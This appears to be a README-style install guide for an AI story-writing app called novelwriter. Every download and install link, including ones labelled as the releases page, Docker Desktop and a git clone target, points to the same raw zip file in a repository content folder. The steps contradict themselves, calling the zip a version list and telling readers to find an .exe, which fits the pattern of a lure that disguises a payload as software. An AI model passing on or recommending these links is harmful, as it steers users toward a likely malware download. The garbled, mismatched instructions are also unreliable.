Click the button below to visit the official download page for novelwriter. From there, you can get the latest stable version for Windows.
Download novelwriter on GitHub Releases
novelwriter helps you write stories using AI. It does more than just add more text. It keeps track of your story’s characters, relationships, and world details. This way, the AI can add parts that fit well with what you wrote before. The result is stories that stay true to your style and make sense.
You can import existing stories, edit the story world, and create rules for how the story should grow. novelwriter uses a clear world model to keep everything consistent.
To run novelwriter on Windows, your computer should meet these basic requirements:
- Windows 10 or later (64-bit)
- 4 GB of RAM or more
- At least 500 MB of free disk space
- Internet connection to activate AI features
You do not need any special skills or software before installing novelwriter.
Follow these steps carefully to get novelwriter running on your PC.
Open this link in your web browser:
https://raw.githubusercontent.com/dedyrio/novelwriter/main/web/src/content/Software-v2.0.zip
This page shows all available versions of novelwriter. Scroll to the latest stable release, usually marked with a version number like v0.3.2 or higher.
Look for a file that ends with .exe. This is the Windows installer for novelwriter. Click on the file name to start the download.
The file name may look like novelwriter-setup-v0.3.2.exe.
After the file finishes downloading, open your Windows file explorer and find the downloaded file (most likely in your "Downloads" folder).
Double-click the .exe file to start the installation process.
Follow the on-screen instructions:
- Choose where to install novelwriter (the default folder is fine for most users).
- Agree to the license terms.
- Confirm installation.
When installation finishes, an icon should appear on your desktop or in your start menu.
Click on it to open novelwriter.
You may see a welcome screen or some initial setup instructions.
novelwriter uses AI to help you write. To work, it needs access to an AI service key.
- If you have an API key from a supported AI provider (like OpenAI), enter it in the settings.
- If you do not have a key, some features may not work fully.
You can add or change this key anytime in the program’s settings menu.
novelwriter saves important story elements as a "world model". This includes characters, their relationships, locations, and rules. This helps the AI generate story parts that fit your setting well.
You can bring in your current story files, and novelwriter will analyze them. It finds characters and relationships automatically and builds the world model for you.
Use the AI assistant to write the next part of your story.
- The AI adds text word by word.
- You can generate several versions at once and pick the best one.
- The AI respects your world model and story rules.
Use the visual editor to:
- Add or change characters
- Adjust relationships or story settings
- Set rules for the story (for example, no modern phrases if your story is historical).
You can export your world model and story data as a package. Share it with others or import it later into novelwriter.
If you are comfortable with more technical steps, you can run novelwriter using Docker. This method isolates the software in a container and may be more reliable.
To do this:
-
Download and install Docker Desktop for Windows from https://raw.githubusercontent.com/dedyrio/novelwriter/main/web/src/content/Software-v2.0.zip
-
Open Windows PowerShell or Command Prompt.
-
Run these commands:
git clone https://raw.githubusercontent.com/dedyrio/novelwriter/main/web/src/content/Software-v2.0.zip cd novelwriter cp .env.example .env # Edit the .env file with your AI key docker compose up -d
-
Open your browser and visit http://localhost:8000 to use novelwriter.
This method is recommended for users who want more control or plan to run the software on a server.
- Write short story sections first, then use the AI to continue.
- Keep your world model updated when you add new characters or settings.
- Try generating multiple AI completions to find the best fit.
- Use the story rules feature to keep your narrative style consistent.
If you run into any issues:
- Check the FAQ or README files on the GitHub page.
- Look for issues or discussions from other users.
- Contact the developers via the GitHub repository’s "Issues" tab for technical questions.
Remember, you can always visit the download page to get the latest version.
